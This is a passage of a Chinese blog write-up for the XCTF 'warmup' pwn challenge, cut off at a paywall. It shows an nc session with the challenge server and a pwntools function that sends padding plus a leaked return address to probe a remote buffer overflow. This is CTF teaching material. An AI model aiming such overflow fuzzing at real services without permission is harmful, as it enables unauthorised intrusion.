warmup [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列14

3riC5r

于 2019-12-23 17:17:49 发布

阅读量1.9k

点赞数 2

CC 4.0 BY-SA版权

分类专栏： XCTF-PWN CTF 文章标签：攻防世界 xctf ctf pwn fuzz

本文链接：https://blog.youkuaiyun.com/fastergohome/article/details/103667987

本文介绍了CTF高手进阶区的warmup题目，重点在于fuzzing技术的应用。通过分析题目提示和程序行为，文章详细展示了如何进行fuzz测试，包括不带地址、32位地址和64位地址的fuzzing方法，并最终成功获取flag，揭示了对未知程序进行简单fuzz过程的关键步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

题目地址：warmup

这是高手进阶区的第三题，我们先看下题目内容

这个题目没有附件，那就是要fuzz的题目了，我们先正常走一下程序看看

root@mypwn:/ctf/work/python/warmup# nc 111.198.29.45 32453
-Warm Up-
WOW:0x40060d
>AAA

这个题目的出发点就是要大家做fuzz，看下提示内容有个地址0x40060d，那就是说fuzz的时候要带上地址/或者不带地址。

先给出fuzz的函数

addr = 0x40060d
def send_fuzz(p, num, type):
	payload = 'A'*num
	if type == 1:
		payload += p32(addr)
	if type == 2:
		payload += p64(addr)
	p.sendlineafter('>', payload)

这里分成3种类型：不带地址，带32位地址，带64位地址

根据fuzz函数，构造fuzz带python脚本：

最低0.47元/天解锁文章